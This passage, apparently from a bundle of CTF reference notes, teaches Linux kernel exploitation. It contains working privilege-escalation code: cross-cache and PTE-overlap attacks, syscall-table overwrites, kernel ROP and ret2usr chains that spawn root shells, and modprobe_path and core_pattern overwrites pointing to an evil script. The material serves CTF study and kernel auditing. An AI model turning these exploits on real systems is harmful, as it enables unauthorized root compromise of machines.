userland memory (e.g., during a hash computation), it faults and must re-establish the mapping. Combined with `mprotect()` toggling, this creates lock contention that extends any kernel operation touching userland pages from sub-millisecond to tens of seconds — turning impractical race conditions into reliable exploits.\n\n---\n\n## Cross-Cache Attack via CPU-Split Strategy (DiceCTF 2026)\n\n**Pattern (cornelslop):** Vulnerable object is in a dedicated SLUB cache (not `kmalloc-*`), preventing standard same-cache reclaim after a double-free. Force pages out of the dedicated cache into the buddy allocator by splitting allocation and deallocation across CPUs.\n\n**Technique:**\n1. **Allocate N objects on CPU 0** — fills slab pages on CPU 0's partial list\n2. **Free the same objects from CPU 1** — freed objects go to CPU 1's partial list (not CPU 0's)\n3. CPU 1's partial list overflows to the **node partial list**\n4. Completely empty slabs are released to the **PCP (per-CPU page) list**, then to the **buddy allocator**\n5. Reallocate those pages as a different object type (e.g., page tables)\n\n```c\n// Pin allocation thread to CPU 0\ncpu_set_t set;\nCPU_ZERO(&set);\nCPU_SET(0, &set);\nsched_setaffinity(0, sizeof(set), &set);\n\n// Allocate MAX_ENTRIES objects (fills ~3 slab pages)\nfor (int i = 0; i \u003c MAX_ENTRIES; i++)\n ioctl(fd, ALLOC_ENTRY, &entries[i]);\n\n// Pin free thread to CPU 1\nCPU_SET(1, &set);\nsched_setaffinity(0, sizeof(set), &set);\n\n// Free from different CPU — objects land on CPU 1's partial list\nfor (int i = 0; i \u003c MAX_ENTRIES; i++)\n ioctl(fd, FREE_ENTRY, &entries[i]);\n// Empty slabs flow: CPU1 partial → node partial → PCP → buddy allocator\n```\n\n**Key insight:** SLUB allocates and frees per-CPU. When an object is freed on a different CPU than where it was allocated, it enters a different partial list. When that list overflows, empty slabs are returned to the buddy allocator — escaping the dedicated cache entirely. This enables cross-cache attacks even against custom `kmem_cache_create()` caches that are immune to standard heap spray.\n\n---\n\n## PTE Overlap Primitive for File Write (DiceCTF 2026)\n\n**Pattern (cornelslop):** After reclaiming a freed page as a PTE (page table entry) page, overlap an anonymous writable mapping and a read-only file mapping so both are backed by the same physical page via corrupted PTEs.\n\n**Technique:**\n1. Trigger cross-cache double-free to get a page into the buddy allocator\n2. Allocate a new anonymous mapping — kernel uses the freed page as a PTE page\n3. Map a read-only file (e.g., `/bin/umount`) into the same PTE region\n4. The corrupted PTE page now has entries pointing to the file's physical pages\n5. Write through the anonymous (writable) mapping → modifies the file's pages directly\n6. Overwrite the file's shebang/header to execute an attacker-controlled script\n\n```c\n// After cross-cache frees page into buddy allocator:\n\n// 1. Anonymous mapping reclaims the page as PTE storage\nchar *anon = mmap(NULL, PAGE_SIZE * 512, PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n// Touch pages to populate PTEs in the reclaimed page\nfor (int i = 0; i \u003c 512; i++)\n anon[i * PAGE_SIZE] = 'A';\n\n// 2. File mapping into overlapping virtual range\nint file_fd = open(\"/bin/umount\", O_RDONLY);\nchar *file_map = mmap(target_addr, PAGE_SIZE, PROT_READ,\n MAP_PRIVATE | MAP_FIXED, file_fd, 0);\n\n// 3. Write through anonymous side corrupts file content\n// Overwrite ELF header / shebang with #!/tmp/pwn\nmemcpy(anon + offset, \"#!/tmp/pwn\\n\", 11);\n\n// 4. Execute the corrupted binary → runs attacker script as root\nsystem(\"/bin/umount /tmp 2>/dev/null\");\n```\n\n**Key insight:** PTE pages are just regular physical pages repurposed by the kernel's page table allocator. If a freed slab page is reclaimed as a PTE page, both the original (corrupted) slab entries and the new PTE entries coexist. By carefully overlapping anonymous and file-backed mappings in the same PTE page, writes to the anonymous mapping transparently modify file-backed pages — achieving arbitrary file write without any direct kernel write primitive. This bypasses all standard file permission checks since the write happens at the physical page level.\n\n---\n\n## Kernel addr_limit Bypass via Failed File Open (Midnight Sun CTF 2018)\n\n**Pattern:** Kernel module calls `set_fs(KERNEL_DS)` to access userspace pointers, but if a subsequent file open fails, it returns without restoring the old `addr_limit`. Force the failure by making the target file a directory. Now user-space `read()` can access kernel memory.\n\n**Exploitation strategy:**\n1. The kernel module has a debug function that sets `addr_limit = KERNEL_DS` to read a debug file\n2. If `filp_open()` fails (e.g., target is a directory, not a file), the error path returns early\n3. The error path does NOT restore `addr_limit` to its previous value (`USER_DS`)\n4. The calling process now has `addr_limit = KERNEL_DS` permanently\n5. Ordinary `read()`/`write()` syscalls can now access kernel memory addresses\n6. Use this to overwrite syscall table entries with `prepare_kernel_cred`/`commit_creds`\n\n```c\n#include \u003csys/stat.h>\n#include \u003cunistd.h>\n#include \u003cfcntl.h>\n\n#define DEBUG_FILE \"/tmp/debug_log\"\n#define SYS_TABLE_ADDR 0xffffffff81801400 // from /proc/kallsyms\n\n// Step 1: Make debug file a directory -> filp_open() fails with -EISDIR\nmkdir(DEBUG_FILE, 0);\n\n// Step 2: Trigger the kernel module's debug function\nint fd = open(\"/dev/vuln_module\", O_RDWR);\nread(fd, &c, 1); // Triggers debug_msg(), leaves addr_limit = KERNEL_DS\n\n// Step 3: Now read()/write() can access kernel memory\n// Use pipe as a kernel-memory read/write primitive:\nint pipefd[2];\npipe(pipefd);\n\n// Write prepare_kernel_cred address to syscall 100\nunsigned long pkc_addr = 0xffffffff810a9ef0; // prepare_kernel_cred\nwrite(pipefd[1], &pkc_addr, sizeof(pkc_addr));\nread(pipefd[0], (void*)((unsigned long*)SYS_TABLE_ADDR + 100), sizeof(unsigned long));\n\n// Write commit_creds address to syscall 101\nunsigned long cc_addr = 0xffffffff810a9d80; // commit_creds\nwrite(pipefd[1], &cc_addr, sizeof(cc_addr));\nread(pipefd[0], (void*)((unsigned long*)SYS_TABLE_ADDR + 101), sizeof(unsigned long));\n\n// Step 4: Call the overwritten syscalls to get root\nint creds = syscall(100, 0); // prepare_kernel_cred(0)\nsyscall(101, creds); // commit_creds(creds)\n// Now running as root\nsystem(\"/bin/sh\");\n```\n\n**Key insight:** When a kernel module sets `addr_limit` to `KERNEL_DS` for kernel pointer access but fails to restore it on error paths, userspace processes retain the elevated `addr_limit`. This turns ordinary `read()`/`write()` syscalls into kernel memory read/write primitives. Always audit kernel module error paths for missing `set_fs()` restoration -- triggering the error (e.g., making a file path point to a directory) is often trivial.\n\n**References:** Midnight Sun CTF 2018\n\n---\n\n## Custom binfmt Loader OOB Read + clear_user for Privesc (CONFidence Teaser 2019)\n\n**Pattern (p4fmt):** Kernel module `p4fmt.ko` registers a new `binfmt` handler for files starting with `\"P4\"`. The loader reads a user-controlled header: `{magic, version, arg, load_count, header_offset, entry}` followed by `load_count` `{addr, length, offset}` entries. Two missing checks make this a full privesc primitive: `header_offset` is used unvalidated as a pointer offset into `bprm->buf[]` (OOB read of the kernel-side `linux_binprm` struct, including `struct cred *cred`), and `loads[i].addr | 8` selects a branch that calls `_clear_user(addr, length)` with fully attacker-controlled arguments — an arbitrary zeroing primitive that runs *before* `install_exec_creds()` commits `bprm->cred`.\n\n```python\nfrom pwn import *\n\n# Stage 1: leak bprm->cred via OOB header_offset into the kernel-side linux_binprm buffer.\n# load_count=5, header_offset=0x80-0x18 -> loads[] parsed from fields past bprm->buf.\nleak = b'P4' + p8(0) + p8(1) + p32(5) + p64(0x80 - 0x18) + p64(0)\n# Execute -> dmesg \"vm_mmap(..., length=\u003ccred_addr>, ...)\" reveals the cred pointer.\n\n# Stage 2: zero uid/gid/suid/sgid/euid/egid/fsuid/fsgid in bprm->cred via clear_user.\n# arg=1 with load entries whose addr has bit 3 set -> kernel calls _clear_user(addr, length).\ncred = 0xffff... # from leak\nentries = p64(0x7000000 | 7) + p64(0x1000) + p64(0) # mmap RWX page for shellcode\nentries += p64((cred + 0x10) | 8) + p64(0x48) + p64(0) # clear_user(cred->uid..fsgid)\nbinary = b'P4' + p8(0) + p8(1) + p32(2) + p64(0x18) + p64(0x7000090) + entries\nbinary = binary.ljust(0x7000090 & 0xfff, b'\\x00') + asm(shellcraft.sh())\n# exec -> install_exec_creds sees a cred with uid=0 -> root shell (drop_privileges bypass)\n```\n\n**Key insight:** Custom `binfmt_misc`-style loaders are a fertile target because they parse attacker-supplied headers *before* `install_exec_creds` commits the per-exec credential struct. Any primitive that touches `bprm` in that window (OOB read to leak `bprm->cred`, arbitrary `_clear_user` to zero cred fields, `vm_mmap` with controlled flags/prot for kernel-aided RWX) composes into privesc without needing a traditional kernel memory-corruption chain. Always audit `load_*_binary` functions in custom modules for (a) bounds on header offsets and counts, (b) `access_ok`/range checks on `addr`/`length` arguments passed to `_clear_user`/`copy_to_user`, and (c) side-channel info leaks via `printk`.\n\n**References:** CONFidence CTF 2019 Teaser — p4fmt, writeup 13992\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":19054,"content_sha256":"bed9e9a2ffe3d04dc32062ce7ea556e6f21c2434bb594d2f3f2f4c920d78d0f0"},{"filename":"kernel.md","content":"# CTF Pwn - Linux Kernel Exploitation\n\n## Table of Contents\n- [Environment Setup and Recon](#environment-setup-and-recon)\n - [QEMU Debug Environment](#qemu-debug-environment)\n - [Extracting vmlinux](#extracting-vmlinux)\n - [Kernel Config Checks](#kernel-config-checks)\n - [FGKASLR Detection](#fgkaslr-detection)\n- [Useful Kernel Structures for Heap Spray](#useful-kernel-structures-for-heap-spray)\n - [tty_struct (kmalloc-1024)](#tty_struct-kmalloc-1024)\n - [tty_file_private (kmalloc-32)](#tty_file_private-kmalloc-32)\n - [poll_list (kmalloc-32 to 1024)](#poll_list-kmalloc-32-to-1024)\n - [user_key_payload (kmalloc-32 to 1024)](#user_key_payload-kmalloc-32-to-1024)\n - [setxattr Temporary Buffer (kmalloc-32 to 1024)](#setxattr-temporary-buffer-kmalloc-32-to-1024)\n - [seq_operations (kmalloc-32)](#seq_operations-kmalloc-32)\n - [subprocess_info (kmalloc-128)](#subprocess_info-kmalloc-128)\n- [Kernel Stack Overflow and Canary Leak](#kernel-stack-overflow-and-canary-leak)\n- [Privilege Escalation Primitives](#privilege-escalation-primitives)\n - [ret2usr (No SMEP/SMAP)](#ret2usr-no-smepsmap)\n - [Kernel ROP with prepare_kernel_cred / commit_creds](#kernel-rop-with-prepare_kernel_cred--commit_creds)\n - [Saving and Restoring Userland State](#saving-and-restoring-userland-state)\n- [modprobe_path Overwrite](#modprobe_path-overwrite)\n - [Technique Overview](#technique-overview)\n - [Bruteforce Without Leak](#bruteforce-without-leak)\n - [Checking CONFIG_STATIC_USERMODEHELPER](#checking-config_static_usermodehelper)\n- [core_pattern Overwrite](#core_pattern-overwrite)\n- [Kernel Heap Overflow via kmalloc Size Mismatch (PlaidCTF 2013)](#kernel-heap-overflow-via-kmalloc-size-mismatch-plaidctf-2013)\n- [eBPF Verifier Bypass Exploitation (UIUCTF 2021, D^3CTF 2022)](#ebpf-verifier-bypass-exploitation-uiuctf-2021-d3ctf-2022)\n- [User-Kernel-Hypervisor Chain via I/O Port Hypercalls (HITCON 2018)](#user-kernel-hypervisor-chain-via-io-port-hypercalls-hitcon-2018)\n- [ACPI DSDT Shellcode Injection for Privilege Escalation (hxp 2018)](#acpi-dsdt-shellcode-injection-for-privilege-escalation-hxp-2018)\n- [ARM fcntl64 set_fs() CVE-2015-8966 Pipe Exfil (Insomnihack 2019)](#arm-fcntl64-set_fs-cve-2015-8966-pipe-exfil-insomnihack-2019)\n- [io_uring PBUF_RING Use-After-Free — CVE-2024-0582 (KernelCTF 2024)](#io_uring-pbuf_ring-use-after-free--cve-2024-0582-kernelctf-2024)\nFor tty_struct kROP (kernel Return-Oriented Programming), userfaultfd race stabilization, SLUB internals, cross-cache attacks, and DiceCTF 2026 kernel patterns, see [kernel-techniques.md](kernel-techniques.md).\n\nFor protection bypass techniques (KASLR, FGKASLR, KPTI, SMEP, SMAP), GDB debugging, initramfs workflow, and exploit templates, see [kernel-bypass.md](kernel-bypass.md).\n\n---\n\n## Environment Setup and Recon\n\n**Key insight:** Before writing any exploit, check the QEMU launch script for enabled mitigations (`smep`, `smap`, `kpti`, `kaslr`) and the `oops=panic` flag. These determine which exploitation techniques are viable. Disable all mitigations for initial debugging, then re-enable them one by one.\n\n### QEMU Debug Environment\n\nStandard QEMU launch script for kernel challenge debugging:\n\n```bash\nqemu-system-x86_64 \\\n -kernel ./bzImage \\\n -initrd ./rootfs.cpio \\\n -nographic \\\n -monitor none \\\n -cpu qemu64 \\\n -append \"console=ttyS0 nokaslr panic=1\" \\\n -no-reboot \\\n -s \\\n -m 256M\n```\n\n- `-s` enables GDB on port 1234 (`target remote :1234`)\n- `-append \"nokaslr\"` disables KASLR for debugging\n- Check QEMU script for: `smep`, `smap`, `kaslr`, `oops=panic`, `kpti=1`\n- If `oops=panic` is absent, kernel oops only kills the faulting process (exploitable for info leaks via dmesg)\n\n**Disable mitigations for initial debugging** by modifying the launch script:\n```bash\n-append \"console=ttyS0 nokaslr nopti nosmep nosmap quiet panic=1\"\n-cpu kvm64 # instead of kvm64,+smep,+smap\n```\n\n### Extracting vmlinux\n\n**Extract vmlinux from bzImage:**\n```bash\n# Use extract-vmlinux.sh from Linux kernel source (scripts/extract-vmlinux)\n./extract-vmlinux ./bzImage > vmlinux\n\n# Extract ROP gadgets\nROPgadget --binary ./vmlinux > gadgets.txt\n```\n\n### Kernel Config Checks\n\n| Config | Effect | How to Check |\n|--------|--------|-------------|\n| SMEP/SMAP/KASLR/KPTI | CPU-level mitigations | Check QEMU run script `-cpu` and `-append` flags |\n| FGKASLR | Per-function randomization | `readelf -S vmlinux` section count (see below) |\n| `SLAB_FREELIST_RANDOM` | Randomized freelist order | Sequential allocations not adjacent |\n| `SLAB_FREELIST_HARDEN` | XOR-obfuscated free pointers | Check freelist pointers in GDB |\n| `STATIC_USERMODEHELPER` | Blocks `modprobe_path` overwrite | Disassemble `call_usermodehelper_setup` |\n| `KALLSYMS_ALL` | `.data` symbols in `/proc/kallsyms` | `grep modprobe_path /proc/kallsyms` |\n| `CONFIG_USERFAULTFD` | Enables userfaultfd syscall | Try calling it; disabled = -ENOSYS |\n| eBPF (extended Berkeley Packet Filter) JIT | JIT-compiled BPF filters | `cat /proc/sys/net/core/bpf_jit_enable` (0=off, 1=on, 2=debug) |\n\nCheck oops behavior:\n- `oops=panic` in QEMU `-append` -> oops causes full kernel panic\n- Without it -> oops kills the faulting process only; dmesg may leak stack/heap/kbase pointers\n\n### FGKASLR Detection\n\nFine-Grained KASLR randomizes each function independently. Detect by counting ELF sections:\n\n```bash\nreadelf -S vmlinux | tail -5\n# FGKASLR disabled: ~30 sections\n# FGKASLR enabled: 36000+ sections (one per function)\n\nfile vmlinux\n# FGKASLR enabled: \"too many section (36140)\"\n```\n\n---\n\n## Useful Kernel Structures for Heap Spray\n\nThese structures are allocated from standard `kmalloc` caches and controlled from userspace. Use them to fill freed slots for UAF exploitation or to leak kernel pointers.\n\n**Key insight:** Match the vulnerable object's `kmalloc` cache size to choose the right spray structure. For kmalloc-32, use `seq_operations` or `tty_file_private`; for kmalloc-1024, use `tty_struct`; for variable sizes (32-1024), use `poll_list`, `user_key_payload`, or `setxattr`.\n\n| Structure | Cache | Alloc Trigger | Free Trigger | Use |\n|-----------|-------|---------------|--------------|-----|\n| `tty_struct` | kmalloc-1024 | `open(\"/dev/ptmx\")` | `close(fd)` | kbase leak, RIP hijack |\n| `tty_file_private` | kmalloc-32 | `open(\"/dev/ptmx\")` | `close(fd)` | kheap leak (points to `tty_struct`) |\n| `poll_list` | kmalloc-32~1024 | `poll(fds, nfds, timeout)` | `poll()` returns | kheap leak, arbitrary free |\n| `user_key_payload` | kmalloc-32~1024 | `add_key()` | `keyctl_revoke()`+GC | arbitrary value write |\n| `setxattr` buffer | kmalloc-32~1024 | `setxattr()` | same call path | momentary arbitrary value write |\n| `seq_operations` | kmalloc-32 | `open(\"/proc/self/stat\")` | `close(fd)` | kbase leak, RIP hijack |\n| `subprocess_info` | kmalloc-128 | internal kernel | internal kernel | kbase leak, RIP hijack |\n\n### tty_struct (kmalloc-1024)\n\nAllocated when `open(\"/dev/ptmx\")`, freed on `close()`. Size: 0x2B8 bytes.\n\n```c\nstruct tty_struct {\n int magic; // +0x00: must be 0x5401 (paranoia check)\n struct kref kref; // +0x04: reference count\n struct device *dev; // +0x08\n struct tty_driver *driver; // +0x10: must be valid kheap pointer\n const struct tty_operations *ops; // +0x18: vtable pointer -> kbase leak\n // ...\n};\n```\n\n- **kbase leak:** Read `tty_struct.ops` -- points to `ptm_unix98_ops` (or similar) in kernel `.data`\n- **RIP hijack:** Overwrite `tty_struct.ops` with pointer to fake vtable, then `ioctl()` calls `tty->ops->ioctl()`\n- **magic** must remain `0x5401` or `tty_ioctl()` returns immediately (paranoia check)\n- **driver** must be a valid kernel heap pointer or the kernel will oops\n\n### tty_file_private (kmalloc-32)\n\nAllocated alongside `tty_struct` in `tty_alloc_file()`. Size: 0x20 bytes.\n\n```c\nstruct tty_file_private {\n struct tty_struct *tty; // +0x00: pointer to tty_struct in kmalloc-1024\n struct file *file; // +0x08\n struct list_head list; // +0x10\n};\n```\n\n- **kheap leak:** Read `tty_file_private.tty` to get address in `kmalloc-1024`\n\n### poll_list (kmalloc-32 to 1024)\n\nAllocated during `poll()`, freed when `poll()` completes (timer expiry or event trigger). Cache size depends on number of fds polled.\n\n```c\nstruct poll_list {\n struct poll_list *next; // +0x00: linked list pointer\n int len; // +0x08: number of entries\n struct pollfd entries[]; // +0x0C: variable-length array\n};\n```\n\n- **Arbitrary free:** Overwrite `poll_list.next` -> when `poll()` finishes, it frees all entries in the linked list including the corrupted pointer -> UAF on arbitrary address\n\n### user_key_payload (kmalloc-32 to 1024)\n\nAllocated via `add_key()` syscall. Cache size depends on `data` length.\n\n```c\nstruct user_key_payload {\n struct callback_head rcu; // +0x00: 16 bytes, untouched until init\n unsigned short datalen; // +0x10\n char data[]; // +0x18: user-controlled content\n};\n```\n\n- First 16 bytes are uninitialized until GC callback -- combine with UAF to leak residual heap data\n- Free requires `keyctl_revoke()` then wait for GC\n- Blocked by default Docker seccomp profile\n\n### setxattr Temporary Buffer (kmalloc-32 to 1024)\n\n`setxattr(\"file\", \"user.x\", data, size, XATTR_CREATE)` allocates a buffer, copies user data, then frees it in the same call path.\n\n- **Momentary write:** Combine with uninitialized structs to write arbitrary values into freed chunks\n- Cannot be used for persistent spray (freed immediately)\n- The file passed to `setxattr()` must exist -- common pitfall when exploit runs from different directory than expected\n\n### seq_operations (kmalloc-32)\n\nAllocated when opening `/proc/self/stat` (or similar seq_file). Contains function pointers for kbase leak.\n\n### subprocess_info (kmalloc-128)\n\nInternal kernel struct with function pointers. Useful for kbase leak and RIP hijack in specific scenarios.\n\n---\n\n## Kernel Stack Overflow and Canary Leak\n\nKernel modules with vulnerable read/write handlers often allow stack buffer overflow. The exploitation pattern mirrors userland stack overflows but with kernel-specific register state management.\n\n**Canary leak via oversized read (hxp CTF 2020):**\n\nA vulnerable `hackme_read()` copies from a 32-element stack array `tmp[32]` but allows reading up to 0x1000 bytes -- leaking the stack canary and kernel text pointers beyond the buffer.\n\n```c\nunsigned long leak[40];\nint fd = open(\"/dev/hackme\", O_RDWR);\n\n// Read beyond stack buffer to leak canary + kernel pointers\nread(fd, leak, sizeof(leak));\n\n// Stack layout: tmp[32] at rbp-0x98, canary at rbp-0x18\n// Canary at index 16 (offset 0x80 from buffer start)\nunsigned long cookie = leak[16];\n\n// Kernel text pointer at index 38 -> compute KASLR base\nunsigned long kernel_base = (leak[38] & 0xffffffffffff0000);\nlong kaslr_offset = kernel_base - 0xffffffff81000000;\n```\n\n**Stack overflow payload structure:**\n\n```c\nunsigned long payload[50];\nint off = 16; // offset to canary position\npayload[off++] = cookie; // canary\npayload[off++] = 0x0; // padding (rbx)\npayload[off++] = 0x0; // padding (r12)\npayload[off++] = 0x0; // saved rbp\npayload[off++] = rop_start; // return address -> ROP chain\n// ... ROP chain follows ...\nwrite(fd, payload, sizeof(payload));\n```\n\n**ioctl-based size check bypass (K3RN3LCTF 2021):**\n\nSome modules gate write length against a global `MaxBuffer` variable that is itself controllable via `ioctl()`:\n\n```c\n// Vulnerable pattern in module:\n// swrite() checks: if (MaxBuffer \u003c user_size) return -EFAULT;\n// sioctl() with cmd 0x20: MaxBuffer = (int)arg; \u003c- attacker-controlled\n\n// Exploit: increase MaxBuffer before overflow\nint fd = open(\"/proc/pwn_device\", O_RDWR);\nioctl(fd, 0x20, 300); // set MaxBuffer to 300 (buffer is only 128)\nwrite(fd, overflow_payload, 300); // now passes size check -> stack overflow\n```\n\n**Key insight:** Kernel stack canaries work identically to userland canaries. A vulnerable read handler that copies more bytes than the buffer size leaks the canary and saved registers, including kernel text pointers for KASLR bypass. Look for `ioctl` handlers that modify global variables used in bounds checks -- they often bypass write size restrictions.\n\n---\n\n## Privilege Escalation Primitives\n\n### ret2usr (No SMEP/SMAP)\n\nWhen SMEP and SMAP are disabled, the kernel can directly execute userland code and access userland memory. Hijack RIP to a userland function that calls `prepare_kernel_cred(0)` and `commit_creds()`.\n\n```c\n// Addresses from /proc/kallsyms (or leak)\nunsigned long prepare_kernel_cred = 0xffffffff814c67f0;\nunsigned long commit_creds = 0xffffffff814c6410;\n\n// Saved userland state for iretq return\nunsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;\n\nvoid privesc() {\n __asm__(\".intel_syntax noprefix;\"\n \"movabs rax, %[prepare_kernel_cred];\"\n \"xor rdi, rdi;\" // prepare_kernel_cred(NULL) -> init cred\n \"call rax;\"\n \"mov rdi, rax;\" // commit_creds(new_cred)\n \"movabs rax, %[commit_creds];\"\n \"call rax;\"\n \"swapgs;\" // restore GS base for userland\n \"mov r15, %[user_ss]; push r15;\"\n \"mov r15, %[user_sp]; push r15;\"\n \"mov r15, %[user_rflags]; push r15;\"\n \"mov r15, %[user_cs]; push r15;\"\n \"mov r15, %[user_rip]; push r15;\"\n \"iretq;\" // return to userland as root\n \".att_syntax;\"\n : : [prepare_kernel_cred] \"r\"(prepare_kernel_cred),\n [commit_creds] \"r\"(commit_creds),\n [user_ss] \"r\"(user_ss), [user_sp] \"r\"(user_sp),\n [user_rflags] \"r\"(user_rflags),\n [user_cs] \"r\"(user_cs), [user_rip] \"r\"(user_rip));\n}\n```\n\nAfter `privesc()` returns to userland, the process has root credentials. Call `system(\"/bin/sh\")` to get a root shell.\n\n### Kernel ROP with prepare_kernel_cred / commit_creds\n\nWhen SMEP is enabled, build a kernel ROP chain to call `prepare_kernel_cred(0)` -> pass result to `commit_creds()` -> return to userland.\n\n```c\n// Find gadgets: ropr --no-uniq -R \"^pop rdi; ret;|^mov rdi, rax\" ./vmlinux\nunsigned long pop_rdi_ret = 0xffffffff81006370;\nunsigned long mov_rdi_rax_pop1_ret = 0xffffffff816bf740; // mov rdi, rax; ...; pop rbx; ret\nunsigned long swapgs_pop1_ret = 0xffffffff8100a55f; // swapgs; pop rbp; ret\nunsigned long iretq = 0xffffffff8100c0d9;\n\nunsigned long payload[50];\nint off = 16; // canary offset\npayload[off++] = cookie;\npayload[off++] = 0; // rbx\npayload[off++] = 0; // r12\npayload[off++] = 0; // rbp\n\n// ROP chain: prepare_kernel_cred(0) -> commit_creds(result)\npayload[off++] = pop_rdi_ret;\npayload[off++] = 0x0; // rdi = NULL\npayload[off++] = prepare_kernel_cred;\npayload[off++] = mov_rdi_rax_pop1_ret; // rdi = rax (new cred)\npayload[off++] = 0x0; // pop rbx padding\npayload[off++] = commit_creds;\n\n// Return to userland\npayload[off++] = swapgs_pop1_ret;\npayload[off++] = 0x0; // pop rbp padding\npayload[off++] = iretq;\npayload[off++] = user_rip; // spawn_shell\npayload[off++] = user_cs; // 0x33\npayload[off++] = user_rflags;\npayload[off++] = user_sp;\npayload[off++] = user_ss; // 0x2b\n```\n\n**Critical gadget: `mov rdi, rax`** -- needed to pass the return value of `prepare_kernel_cred()` (in RAX) to `commit_creds()` (expects argument in RDI). Search for variants like `mov rdi, rax; ... ; ret` that may clobber other registers.\n\n**Tool:** `ropr` is faster than ROPgadget for large kernel images:\n```bash\nropr --no-uniq -R \"^pop rdi; ret;|^mov rdi, rax|^swapgs|^iretq\" ./vmlinux\n```\n\n### Saving and Restoring Userland State\n\nBefore triggering the kernel exploit, save userland register state for the `iretq` return:\n\n```c\nunsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;\n\nvoid save_userland_state() {\n __asm__(\".intel_syntax noprefix;\"\n \"mov %[cs], cs;\"\n \"mov %[ss], ss;\"\n \"mov %[sp], rsp;\"\n \"pushf; pop %[rflags];\"\n \".att_syntax;\"\n : [cs] \"=r\"(user_cs), [ss] \"=r\"(user_ss),\n [sp] \"=r\"(user_sp), [rflags] \"=r\"(user_rflags));\n user_rip = (unsigned long)spawn_shell; // function to call after return\n}\n\nvoid spawn_shell() {\n if (getuid() == 0) {\n printf(\"[+] root!\\n\");\n system(\"/bin/sh\");\n } else {\n printf(\"[-] privesc failed\\n\");\n exit(1);\n }\n}\n```\n\n**Register values (x86_64 userland):**\n- `CS` = 0x33 (64-bit user code segment)\n- `SS` = 0x2b (64-bit user stack segment)\n- `RSP` = current userland stack pointer\n- `RFLAGS` = current flags register\n- `RIP` = address of post-exploit function (e.g., `spawn_shell`)\n\n---\n\n## modprobe_path Overwrite\n\n### Technique Overview\n\nOverwrite the global `modprobe_path` variable (default: `\"/sbin/modprobe\"`) with a path to an attacker-controlled script. When the kernel encounters a binary with an unknown format, it executes `modprobe_path` as root.\n\n**Requirements:**\n1. Arbitrary Address Write (AAW) to overwrite `modprobe_path`\n2. Ability to create two files: a malformed binary and an evil script\n3. `CONFIG_STATIC_USERMODEHELPER` is disabled\n\n**Steps:**\n\n```bash\n# 1. Write evil script\necho '#!/bin/sh' > /tmp/evil.sh\necho 'cat /flag > /tmp/output' >> /tmp/evil.sh\necho 'chmod 777 /tmp/output' >> /tmp/evil.sh\nchmod +x /tmp/evil.sh\n\n# 2. Overwrite modprobe_path with \"/tmp/evil.sh\" using your AAW primitive\n\n# 3. Create and execute a malformed binary (non-printable first 4 bytes)\necho -ne '\\xff\\xff\\xff\\xff' > /tmp/trigger\nchmod +x /tmp/trigger\n/tmp/trigger\n\n# 4. Read the flag\ncat /tmp/output\n```\n\n**How it works:** `execve()` -> `search_binary_handler()` -> no format matches -> `request_module(\"binfmt-XXXX\")` -> `call_modprobe()` -> executes `modprobe_path` as root.\n\n**Key insight:** The first 4 bytes of the trigger binary must be non-printable (not ASCII without tab/newline). If they are printable, the kernel skips the `request_module()` call.\n\n### Bruteforce Without Leak\n\n`modprobe_path` has only 1 byte of entropy under KASLR (the randomized page offset). With AAW, brute-force the address:\n\n```python\n# modprobe_path base address (from debugging without KASLR)\nMODPROBE_BASE = 0xffffffff8265ff00\n# Under KASLR, only the 0x65 byte varies\n# Try 256 offsets\nfor byte_guess in range(256):\n addr = (MODPROBE_BASE & ~0xFF0000) | (byte_guess \u003c\u003c 16)\n write_string(addr, \"/tmp/evil.sh\")\n trigger_modprobe()\n```\n\n### Checking CONFIG_STATIC_USERMODEHELPER\n\nIf enabled, `call_usermodehelper_setup()` ignores `modprobe_path` and uses a hardcoded constant.\n\n**Detection via disassembly:**\n\n```bash\n# 1. Get function address\ncat /proc/kallsyms | grep call_usermodehelper_setup\n\n# 2. Set GDB breakpoint and trigger\necho -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri && chmod +x /tmp/nirugiri && /tmp/nirugiri\n\n# 3. In GDB, disassemble and check:\n# NOT set: rdi saved into r14 at +9, used at +127 -> modprobe_path passed through\n# SET: immediate constant at +122 instead of r14 -> 1st arg (modprobe_path) ignored\n```\n\n**When set:** `sub_info->path = CONFIG_STATIC_USERMODEHELPER_PATH` (constant). Overwriting `modprobe_path` has no effect. Look for alternative LPE techniques.\n\n---\n\n## core_pattern Overwrite\n\nAlternative to `modprobe_path`. Overwrite `/proc/sys/kernel/core_pattern` (or the internal `core_pattern` variable) with a pipe command. When a process crashes, the kernel executes the specified command as root to handle the core dump.\n\n```bash\n# core_pattern with pipe: first char '|' means execute as command\n# Overwrite core_pattern to: \"|/tmp/evil.sh\"\n# Then crash a process to trigger\n```\n\n**Finding the offset:** `core_pattern` is not exported via `/proc/kallsyms` without `CONFIG_KALLSYMS_ALL`. To find it:\n\n1. Set breakpoint on `override_creds()` (called by `do_coredump()`)\n2. Crash a process: `int main() { ((void(*)())0)(); }`\n3. After `override_creds` returns, disassemble -- look for `movzx` loading from a data address\n4. That address is `core_pattern`\n\n**Key insight:** `core_pattern` is an alternative to `modprobe_path` when `CONFIG_STATIC_USERMODEHELPER` blocks modprobe. Overwrite it with `|/tmp/evil.sh` and crash any process to trigger root command execution. Finding the address requires a GDB breakpoint on `override_creds` during a deliberate crash since `core_pattern` is not always exported in `/proc/kallsyms`.\n\n```text\n(gdb) finish\n(gdb) x/5i $rip\n=> 0xffffffff811b1e98: movzx r13d, BYTE PTR [rip+0xcfec80] # 0xffffffff81eb0b20\n(gdb) x/s 0xffffffff81eb0b20\n0xffffffff81eb0b20: \"core\"\n```\n\n---\n\n## Kernel Heap Overflow via kmalloc Size Mismatch (PlaidCTF 2013)\n\n**Pattern:** Kernel module allocates `kmalloc(content_length)` but copies `0x40 + content_length` bytes (header + body), causing a 0x40-byte heap overflow into adjacent slab objects.\n\n```c\n// Vulnerable pattern in kernel HTTP handler:\nbuf = kmalloc(content_length, GFP_KERNEL);\nmemcpy(buf, http_header, 0x40); // 0x40 bytes of header\nmemcpy(buf + 0x40, body, content_length); // Overflow!\n```\n\n**Exploitation:**\n1. **Slab spray:** Open 1021 file descriptors (`open(\"/dev/kmalloc_target\")`) to fill the kmalloc-256 slab cache\n2. **Create holes:** Close 3 files to create gaps in the slab for the overflowing allocation\n3. **Trigger overflow:** Send HTTP request with body that overflows into adjacent `struct file`\n4. **Corrupt `f_op`:** Overwrite the `f_op` (file operations) pointer in the 